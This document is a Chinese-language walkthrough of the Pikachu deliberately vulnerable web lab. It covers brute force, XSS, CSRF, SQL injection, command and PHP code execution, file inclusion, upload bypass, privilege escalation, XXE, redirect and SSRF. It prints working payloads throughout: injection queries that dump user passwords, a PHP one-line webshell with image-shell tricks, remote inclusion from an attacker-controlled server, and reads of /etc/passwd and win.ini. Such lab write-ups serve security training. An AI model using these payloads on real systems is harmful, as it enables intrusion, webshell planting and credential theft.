目录
[on server](#on server)
[on client](#on client)
[Insert/Update 注入](#Insert/Update 注入)
[http header注入](#http header注入)
[exec ping](#exec ping)
[exec evel](#exec evel)
[file inclusion](#file inclusion)
[unsafe filedownload](#unsafe filedownload)
[file upload](#file upload)
[client check](#client check)
[MIME type](#MIME type)
[over permission](#over permission)
注:pikachu右上角点击提示可以得到一些信息。
暴力破解
基于表单
登录界面:

拿字典爆破就行。
验证码绕过
on server
-
在bp重放错误登录包时验证码不会刷新,只有在页面输入错误时才会报错并刷新验证码。
-
输入抓包时的验证码,直接爆破
on client
-
在bp重放登录包时验证码每次都会刷新。
-
查看源代码可发现验证验证码的代码在前端。任何在前端进行的验证,都是完全没有任何作用的。
-
在浏览器选择禁用JavaScript,就可绕过前端验证,同上直接爆破
token绕过
服务器为了防止自动化提交表单,在页面里埋了一个隐藏的 HTML 标签: <input type="hidden" name="token" value="xxxxx" />
-
机制: 每次刷新页面或提交一次请求,服务器都会生成一个新的、随机的 Token 字符串发给浏览器。
-
校验: 当点击"登录"时,浏览器必须把这个 Token 原封不动地带回去。服务器会比对传回来的 Token 是否和它发出去的那个一致。
-
初衷: 攻击者无法预知下一个 Token 是什么,因此无法直接用简单的字典进行多线程重放攻击。
-
逻辑缺陷 :Token 直接暴露在返回的 HTML 源代码中。
-
攻击:
-
先请求一次页面,从返回的 HTML 中**抓取(Extract)**当前的 Token。
-
将这个 Token 放入下一次登录请求的参数中。
-
重复上述过程(请求 A 获取 Token -> 携带 Token 发起请求 B 进行爆破)。
-
使用bp的Pitchfork模式一对一(一次密码对一次token)即可,注意最大并发数设为1。
-
XSS攻击
反射型XSS
get
-
随便输入几个字符(如222),发现页面回显了包含222的字符串
-
尝试输入
<script>alert("xxs")</script>,发现有字数限制,打开F12手动改了一下,成功输入,执行后发现页面弹出XSS -
法二:URL处会有输入参数,在URL处注入也可
post
-
登录进去后直接注入
<script>alert("xxs")</script>,弹出XSS,攻击成功 -
与get的区别
-
数据传输方式:GET请求数据通过URL中的查询参数附加在URL后面,以明文形式传输数据;POST请求数据作为请求的正文发送,而不是通过URL传递。(get方式可以用法二,这个就不行)
-
数据长度限制:GET请求有长度限制,受浏览器和服务器对URL长度的限制;POST请求没有固定的长度限制,适合传输大量数据。(get法一还需手动修改长度限制,post没有长度限制)
-
存储型XSS
在输入框直接注入<script>alert("xxs")</script>,该评论会存储在页面中,每次刷新都会执行一次弹出'XSS'。
DOM型XSS
页面中输入任意内容

在F12元素中查询,发现输入框里的信息会被传递给a标签的href属性。

-
法一,既然输入的内容会被传递给
href属性,点击后可以访问,那就插入javascript:alert("xss"),点击对应标签那里会执行 -
法二,闭合原有
href,之后注入其他属性,' onclick=alert('xss')>完整页面代码会变为
<a href='' onclick=alert('xss')>'>what do you see?</a>,点击对应标签那里执行 -
闭合引号时注意观察是单引号还是双引号,因为浏览器会自动规范化 HTML 结构,所以在元素里见的引号不一定是真的。
DOM型XSS-x
-
这个"X"通常代表基于URL的DOM型XSS,和上边差不多,不过是从URL提取我们输入的内容。
-
右击检查页面上的链接,发现为

,即点击后会触发domxss()函数。
- 在元素中搜索可以找到其中的
domxss()函数为
function domxss(){
// 1. 从当前页面的URL中获取查询字符串部分,例如 "?text=hello"
var str = window.location.search;
// 2. 将获取到的字符串按 "text=" 分割,并取第二部分(即用户输入的值),同时进行URL解码
var txss = decodeURIComponent(str.split("text=")[1]);
// 3. 将解码后字符串中的 "+" 号替换为空格(这是处理URL编码空格的一种常见方式)
var xss = txss.replace(/\+/g,' ');
// 4. 最危险的一步:直接将处理后的用户输入,通过 innerHTML 拼接成一个新的 <a> 标签并写入页面
document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
}
-
当我们在输入框中输入内容并点击提交后,可以发现所输内容会在当前页面的URL中表现出来。
domxss()函数就是将我们输入的内容提取出来并作为新链接(就让往事都随风,都随风吧)的href,支持点击。 -
之后就和上题一致了。
XSS之盲打
-
输入框中提交内容后,F12发现在前端找不到提交的内容,注入的
<script>alert("xxs")</script>也没有被执行。 -
事实上这些内容被存储到了后台,当管理员登录后台时恶意脚本会在那里执行。
-
(
pikachu右上角点击提示会有后台网址)
XSS之过滤
-
随便输入内容,发现会在网页回显。
-
注入
<script>alert("xxs")</script>,提交后发现回显出来只剩个>了。 -
尝试大小写混合绕过,成功;
尝试双写绕过,失败;
看别的笔记,发现还有注释绕过,
<sc<!--test-->ript>alert('xss')</scr <!--test-->ipt>,不过还是失败。 -
也可以不用
<script>,改用别的方法。 -
注入
<a href="" onclick="alert('xss')">,点击蓝色链接即可执行。 -
或者利用
img标签,<img src="x" onerror="alert('xss')">,注入后会直接执行。浏览器 会自动修复HTML结构,会自动在合适位置补全</a>标签。注入后页面代码变为<p>别说这些'<a href="" οnclick="alert('xss')">'的话,不要怕,就是干!</a></p>
XSS之htmlspecialchars
htmlspecialchars函数的作用是把HTML中的特殊字符转换为HTML实体,让浏览器把它们当作普通文本显示,而不是当作代码执行。
< → <
> → >
& → &
" → "
' → '
-
<script>alert('xss')</script>,<img src="x" onerror="alert('xss')">都行不通,<>被转义了,会被当作纯文本。 -
htmlspecialchars()有一个非常重要的可选参数:flags(标志位)。-
默认情况下(ENT_COMPAT): 它只转换双引号,不转换单引号。
-
严格模式(ENT_QUOTES): 才会同时转换双引号和单引号。
-
可以利用单引号逃逸
-
-
注入
' onclick='alert("xss")'将href属性闭合并添加新属性,代码在服务器拼接后变成:<a href='' onclick='alert("xss")' >测试链接</a>,点击链接后就能触发。 -
注入
javascript:alert("xss")也可行,因为href属性本来就应该包含URL,htmlspecialchars不会过滤掉javascript:协议。注意这里的xss用双引号闭合,因为这里的href属性是用单引号闭合的。
XSS之href输出
-
尝试
<script>alert('xss')</script>,没反应。查看源代码为,<a href='<script>alert('xiaomuyu')</script>'> 阁下自己输入的url还请自己点一下吧</a>,发现尖括号被编码了。 -
尝试JavaScript伪协议,
javascript:alert('xss'),成功。 -
尝试闭合
href属性,' onclick='alert(1),单双引号都尝试了,闭合失败。查看源代码为,<a href='" onclick='alert(1)'> 阁下自己输入的url还请自己点一下吧</a>,发现引号被编码了。
XSS之js输出
-
尝试
<script>alert('xiaomuyu')</script>,没反应 -
查看源代码
<script> $ms='<script>alert('xiaomuyu')</script>'; if($ms.length != 0){ if($ms == 'tmac'){ $('#fromjs').text('tmac确实厉害,看那小眼神..') }else { // alert($ms); $('#fromjs').text('无论如何不要放弃心中所爱..') } } </script>是
<script>标签闭合问题,得先把前边的闭合.闭合标签,
</script><script>alert('xss')</script>就ok。 -
或者闭合引号在这标签内执行任意代码,
'; alert('xss'); // -
js伪协议只能在接受URL的地方使用,不能在JavaScript代码内部使用。
CSRF
CSRF(get)
-
基本没什么防御
-
没有校验来源:不检查请求从哪里来
-
没有CSRF Token:没有一次性令牌验证
-
直接使用GET:修改操作本应用POST,却用了GET
-
自动携带Cookie:浏览器会自动带上用户的Cookie
-
-
右上方点击提示会有账号密码,登录进去,修改信息,bp抓包
-
右键该包,用engagement tool生成CSRF的利用,修改其中的信息(要和刚刚修改的不一样方便对比),test in browser生成链接,在浏览器访问,点击提交请求,可以看到账户信息被成功修改为我们的CSRF利用中的信息。
-
之所以成功,是因为受害者访问这个链接时处于
pikachu登录状态,浏览器会自动带上pikachu的cookie,服务器验证cookie后就会执行修改。
CSRF(post)
- 请求方式不同,不太影响,操作同上。
CSRF(token)
- token就是防CSRF的,好像过不了。
SQL注入
数字型注入
-
数字型注入不需要闭合符
-
随便选一个数字提交,bp抓包,发送到repeater,修改请求参数为
id=2 or 1=1#,就可以获得所有用户的id和email,拿密码的过程和更多注入细节和下面字符型一样,这里就不写了 -
判断是否为数字型可以通过修改参数为字母等方法来判断,判断列数可以通过
order by或union select 1,2等来判断
字符型注入
-
先判断闭合方式,输入
aaa',页面报错,说明是单引号闭合,在其后跟注释符就能正常执行,这里易发现#注释符有效 -
直接注入
' or 1=1#,就可以看到所有用户的id和email,之后可以进行如下操作进行细节的判断 -
判断查询列数,输入
aaa' order by 3#页面报错,如下图,说明列数超了
-
再输入
aaa' order by 2#,页面正常显示,如下图,说明共两列
-
判断显示位,输入
' union select 1,2#,页面显示如下图,说明两列都是显示位
-
可以查询数据库和数据库版本
' union select database(),version()#

-
可以查询当前数据库的所有表
' union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#

-
接着查询其中users表的所有列(注意该页面原本查询的是member表)
' union select group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name="users"#

查询users表的用户和对应密码
' union select group_concat(username),group_concat(password) from users#,得下图

密码看起来是加密过的,拿去解密即可。
搜索型注入
-
随便输入半个用户名,如图

说明SQL查询用的是模糊查询like,%代表一个or多个字符,_代表一个字符,结构类似
$name = $_GET['name']; // 搜索时前后加%,实现模糊匹配 $sql = "SELECT * FROM users WHERE username LIKE '%$name%'"; -
注入思路:
-
先用
%和前面的%配对 -
闭合后面的
' -
拼接SQL注入语句
-
注释掉多余的
%'
-
-
输入
%'#,页面显示为,是member表中所有的用户信息

使用
%' union select group_concat(username),group_concat(pw),1 from member#可以查询member表中所有用户密码

可以输入
%' union select username,password,1 from users#查询users表中的用户和密码,结果为

XX型注入
-
XX型注入指的就是闭合方式为
')的注入类型。 -
随便输入
a',页面报错You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''a'')' at line 1注意其中的
a''),(更外面的两个引号不用管,是报错信息的),a'')中的第一个引号是我们输入的,第二个引号是其查询语句自己的,从这个报错信息就能判断出其闭合方式为')。 -
其余步骤同上
Insert/Update 注入
-
Insert/Update 注入属于功能性注入。与之前的搜索框注入不同,这里的数据是存入数据库的,所以页面不会直接显示查询结果,所以我们要利用的是报错注入,让数据库的报错函数把我们要的数据带出来。
-
最常用的函数是
updatexml()或extractvalue()。 -
在修改个人信息页面随便哪个框里输入
1',报错,说明此处存在注入点且闭合方式为单引号。 -
注入
' or updatexml(1, concat(0x7e, database(), 0x7e), 1) or ',页面报错信息为XPATH syntax error: '~pikachu~'。拼接后的SQL查询逻辑大概是
insert into member(...) values(' ' or updatexml(...) or ' ', ...)。注意此处应该用or,第一个条件
''是 False,如果用and函数不会再往后执行。在 Select(搜索框) 注入时,如果我们的输入是一个存在的 ID(比如
1),那么可以用and,因为其为true,and还会往后执行。 -
查询所有表名
-
在报错注入里,子查询
(select ...)必须返回单行数据。 -
一条一条查:
' or updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema=database() limit 0,1)), 1) or ',结果为XPATH syntax error: '~httpinfo'```' or updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema=database() limit 1,1)), 1) or '``,结果为
XPATH syntax error: '~member'............
-
所以更好的方法是利用
group_concat把查询结果拼接成一条:' or updatexml(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema='pikachu')), 1) or ',结果为XPATH syntax error: '~httpinfo,member,message,users,x'
-
-
查字段名
' or updatexml(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name='users')), 1) or ' -
查具体数据
' or updatexml(1, concat(0x7e, (select group_concat(password) from users limit 0,1)), 1) or '
delete注入
-
同上用报错注入
-
抓包发现包里带了id参数,以此来删除对应留言
-
在浏览器URL里添加参数id为
-1 or updatexml(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database())), 1),结果:XPATH syntax error: '~httpinfo,member,message,users,x'
http header注入
-
右上角提示拿到账号密码,登进去发现页面显示了我们的IP地址,user agent等请求头中的数据
-
后台大概逻辑:
INSERT INTO http_header (user_agent, ip_address, ...) VALUES ('$user_agent', '$ip', ...);我们可以在bp请求包里,直接修改对应的 Header 字段。
将user agent修改为
' or updatexml(1, concat(0x7e, database()), 1) or ',可在相应包里查看结果 -
其余步骤大致同上,只不过注入位置在请求头里
盲注
基于布尔的盲注
-
不会回显我们查询的信息,但注入为真和注入为假显示的页面不同
-
以判断数据库名为例
输入
kobe' and length(database())>5#,正常显示,说明数据库长度确实大于5输入
kobe' and ascii(substr(database(),§1§,1))=§100§#,判断数据库名的每个字符是什么,可以利用bp的爆破来试出所有。 -
判断表明,字段名,密码字段等都跟数据库名的方式差不多,
第一个表名的第一个字符:
kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=100#............
基于时间的盲注
-
不论注入是真是假,回显页面都相同,无法判断,所以利用
sleep()函数 -
kobe' and if(ascii(substr(database(),1,1))=100, sleep(5), 1)#,如果正确,五秒后再返回响应页面,如果错误,正常返回页面。 -
操作方法类似布尔盲注,利用bp爆破(在 Intruder 的结果界面,点击顶栏的 Columns(列选择),勾选 Response received)
宽字节注入
-
有时攻击者注入的单引号等会被转义,可利用宽字节突破。
-
宽字节注入是针对使用GBK编码 的MySQL数据库的一种注入技巧。核心是利用MySQL的GBK编码特性,吃掉转义符
\。示例:
输入:1%df' %df和反斜杠\(%5c)组合成一个汉字“運” %df%5c 在GBK中是一个汉字 过程: 1. 输入:1%df' 2. addslashes:1%df\'(%df加上%5c变成汉字) 3. 单引号逃出来了! 最终SQL:WHERE id = '1運'' -
注入过程同字符型注入,只要在单引号前加上
%df就ok
RCE
exec ping
-
这一关模拟了一个在线网络测试工具。输入一个 IP 地址,后台会调用系统的
ping命令。 -
使用命令拼接注入
-
常见连接符
连接符 作用 适用平台 &前后命令都执行(无论前面是否成功) Windows / Linux &&前面成功,才执行后面 Windows / Linux **` `** 只执行后面(前面的输出作为后面的输入) **` `** ;顺序执行前后命令 仅 Linux
- 注入
127.0.0.1 | dir可查看目录
exec evel
- 远程 PHP 代码执行
-
它不是在调用系统命令,而是把输入的内容当作 PHP 代码 来执行。
-
后台使用了
eval(),eval会把括号内的字符串当成 PHP 代码解析,可输入合法的 PHP 语句实现攻击 -
查看服务器配置详情:
phpinfo();查看当前目录文件:
print_r(scandir('.'));执行系统命令: 利用 PHP 代码去调用系统函数:
system('whoami');
file inclusion
local
-
本地文件包含 (LFI) 指的是只能包含服务器本地已经存在的文件。
-
选一个选项提交,发现URL页面通过
filename参数切换不同的文案。 -
利用
../不断向上跳转,去访问系统敏感文件。-
Windows 环境(常用): 读取 hosts 文件,
?filename=../../../../../../../../windows/system32/drivers/etc/hosts -
Linux 环境(常用): 读取密码文件,
?filename=../../../../../../../../etc/passwd
-
remote
-
远程文件包含 (RFI) 允许攻击者包含远程服务器上的文件。
-
前置条件,RFI 的触发需要 PHP 配置文件
php.ini中开启以下两个选项:-
allow_url_fopen = On -
allow_url_include = On(默认通常是 Off,所以 RFI 比 LFI 少见)
-
-
比如访问百度

-
或者可以自己在公网服务器(或者本地开启一个 HTTP 服务)准备一个文本文件
test.txt,内容为:<?php phpinfo(); ?>然后在 Pikachu 中输入:
?filename=http://我们的服务器IP/test.txtPikachu 服务器会去下载这个
test.txt,并在它自己的服务器上执行其中的 PHP 代码。
unsafe filedownload
-
不安全的文件下载 / 任意文件下载
-
后台在收到请求的文件名后,将其直接拼进下载文件的路径中而不对其进行安全判断的话,则可能会引发不安全的文件下载漏洞。
后台代码逻辑大致为
$filename = $_GET['filename']; $filepath = "download/" . $filename; // 拼接路径 // 直接读取文件并发送给浏览器 header("Content-Type: application/octet-stream"); header("Content-Disposition: attachment; filename=" . $filename); readfile($filepath); -
可以利用目录穿越
../改变$filepath的指向。 -
题目显示点击球员名字可下载,则右键复制链接拿到下载路径,再改变后面的参数。
http://192.168.137.132/pikachu/vul/unsafedownload/execdownload.php?filename=ai.pnghttp://192.168.137.132/pikachu/vul/unsafedownload/execdownload.php?filename=../../../index.php,下载成功。
file upload
client check
-
一句话木马
<?php @eval($_POST['shell']); ?>让服务器接收通过 POST 方式发送过来的名为
shell的数据,并将其内容作为php代码来执行。@:这是错误抑制符。即使执行出错,也不要在页面上显示报错信息,防止被管理员发现。 -
中国蚁剑是一个专业的图形化
Webshell管理工具,作为攻击者的客户端。它能把复杂的 PHP 指令封装成简单的图形操作。比如点击"文件管理",它就会自动发送一段"列出当前目录文件"的 PHP 代码给那个木马。
- 提交PHP文件发现上传失败,显示只允许上传图片,查看可知该检查发生在前端,在开发者工具设置里禁用 JS 就能上传成功了
MIME type
-
MIME 是设定某种扩展名的文件用一种应用程序来打开的方式。当上传文件时,浏览器会在 HTTP 请求头的
Content-Type字段中自动标注这个文件的类型。- 如果上传
.jpg,浏览器会标注:Content-Type: image/jpeg
- 如果上传
.php,浏览器会标注:Content-Type: application/octet-stream(或者是application/x-php)
- 如果上传
-
漏洞点:后端 PHP 代码通过检查这个
Content-Type字段来判断你上传的是不是图片,而不是检查文件的实际内容或后缀。
- 上传PHP文件,bp拦截该请求,手动修改
Content-Type为image/png(或者image/jpeg)
-
常见 MIME 类型对照表
文件后缀 对应的 MIME 类型 .jpg / .jpeg image/jpeg.png image/png.gif image/gif.pdf application/pdf
getimagesize
-
getimagesize()是 PHP 的一个内置函数,它的本意是用来获取图像的大小、宽度等信息。当这个函数处理一个文件时,如果它发现文件开头的一段字节(文件头/魔数)不符合图片的特征(比如 JPG 必须以
FF D8开头),它就会返回false,后台代码据此拒绝上传。普通的 PHP 木马开头是
<?php,这在getimagesize()眼里显然不是图片。 -
绕过思路:制作"图片马",做一个既有图片特征、又包含木马代码的文件。
-
法一:新建一个 PHP 文件(如
shell.php),在代码的最前面手动输入:GIF89a(GIF 文件的头部标识)。 -
法二:准备一张真的图片,把木马隐藏在图片的二进制数据后面。在
cmd中运行copy a.jpg /b + muma.php /a result.jpg。(/b表示二进制模式,/a表示 ASCII 模式)
-
-
上传成功后,配合之前的文件包含漏洞,让其中的PHP代码执行,再用蚁剑连接。
http://192.168.137.132/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2026/03/13/28104869b401bed4d30400573591.png&submit=%E6%8F%90%E4%BA%A4
over permission
水平越权
-
权限等级相同,但身份不同。
-
右上角提示有账号密码,登录lucy账号进去,点击"查看个人信息",发现 URL 变成了:
op1_hor.php?username=lucy&submit=点击查看实施越权: 在 URL 里直接把
username=lucy改成username=lili并回车。结果:以
lucy的身份登录的,却看到了lili的手机号、邮箱等私密信息。
垂直越权
-
权限等级不同。
-
提示说有admin和普通用户两种,登录进去观察,前者界面有用户管理操作,后者没有。
进入admin的添加用户界面,URL为
http://192.168.137.132/pikachu/vul/overpermission/op2/op2_admin_edit.php随后退出登录登进普通用户,访问该URL,发现也能进入添加用户界面,并且能添加成功。
目录遍历
- 程序在处理文件路径时,没有过滤
../等特殊字符,使攻击者可以跳出 Web 根目录,去窥探服务器的其他文件夹。

敏感信息泄露
-
开发者在生产环境中遗留了测试信息或配置调试信息。
- 代码注释中: 开发者在 HTML/JS 源码里留下了账号密码或内部接口地址。
- 错误页面中: 报错信息暴露了服务器的绝对路径、数据库版本或字段名。
- 备份文件中: 像
.git、.svn、.swp或web.config.bak这种文件被直接放在 Web 目录下。
- 测试页面: 比如
phpinfo.php或test.html。
- 右键查看页面源代码,能看到注释中泄露了账号密码

PHP反序列化漏洞
-
常见魔术方法
魔术方法 触发时机 攻击意义 __construct()对象创建时触发 反序列化时不会触发 __destruct()对象销毁时触发 极重要,反序列化结束时自动执行 __wakeup()反序列化瞬间触发 常用于准备资源或初始化 __toString()对象被当成字符串使用时触发 配合 echo等函数触发__sleep()在对象在被序列化之前运行
-
本题中,
class S { var $test = "pikachu"; function __destruct(){ echo $this->test; // 漏洞点:对象销毁时会打印 $test } }构造payload,可以用脚本生成一个
<?php class S { var $test = "<script>alert('xss')</script>"; // 构造一个简单的 XSS 弹窗 } $a = new S(); echo serialize($a); // 输出结果可能是:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";} ?>将生成的序列化字符串
O:1:"S":1:{s:4:"test";s:29:"alert('xss')";}提交到输入框中,因为服务器执行了unserialize(),创建了对象,脚本结束时触发了__destruct(),把我们的 XSS 代码打印到了页面上。
XXE
-
利用了 XML 解析器在处理输入时的缺陷,让服务器去读取它本不该读取的文件,甚至攻击内网的其他机器。
-
XML 允许定义一个"快捷方式",这就是实体。
-
内部实体
<!ENTITY name "pikachu"> <user>&name;</user> ```
-
外部实体(漏洞点):允许 XML 从外部资源(文件、URL)获取数据。
<!ENTITY test SYSTEM "file:///c:/windows/win.ini"> <user>&test;</user> ```XXE 漏洞产生原因: 后端程序开启了"解析外部实体"的功能,且直接解析了用户提交的 XML 数据。
-
-
构造payload,读取敏感数据
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE xxe [ <!ENTITY test SYSTEM "file:///c:/windows/win.ini"> ]> <user>&test;</user>
URL重定向
-
服务器接收用户提交的一个链接,并在没有经过严格白名单校验的情况下,直接指挥用户的浏览器跳转到那个链接。
-
在本题中,点击最后一句话发现出现了参数
url=i,修改这个参数到任意地址(比如百度),发现跳转成功。 -
一些绕过过滤的技巧:
- 斜杠绕过:
url=//www.baidu.com(部分解析器会将其识别为当前协议下的外部链接)。
- 利用
@符号:url=http://www.google.com@www.baidu.com(浏览器有时会忽略@前的内容,直接跳转到后面)。
- 点号绕过:
url=http://www.baidu.com.(末尾加点,在某些 DNS 解析中依然有效)。
- 斜杠绕过:
SSRF
由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。
简单说就是攻击者不能直接访问内网,但可以命令服务器去替攻击者访问。
服务器就像一个被控制的"代理人",它可以绕过防火墙,探测攻击者本来接触不到的内网资源。
curl
-
可以修改
url参数,探测服务器本地或其他内网机器的端口。 -
也可以利用 file 协议读取文件:
?url=file:///c:/windows/system32/drivers/etc/hosts,服务器会把本地文件内容抓取并显示在网页上。
file_get_content
-
所用PHP函数是
file_get_contents(),但漏洞逻辑是一样的,这个函数同样支持多种协议。 -
可以用 PHP 伪协议把源码 Base64 编码后抓出来:
?url=php://filter/read=convert.base64-encode/resource=ssrf.php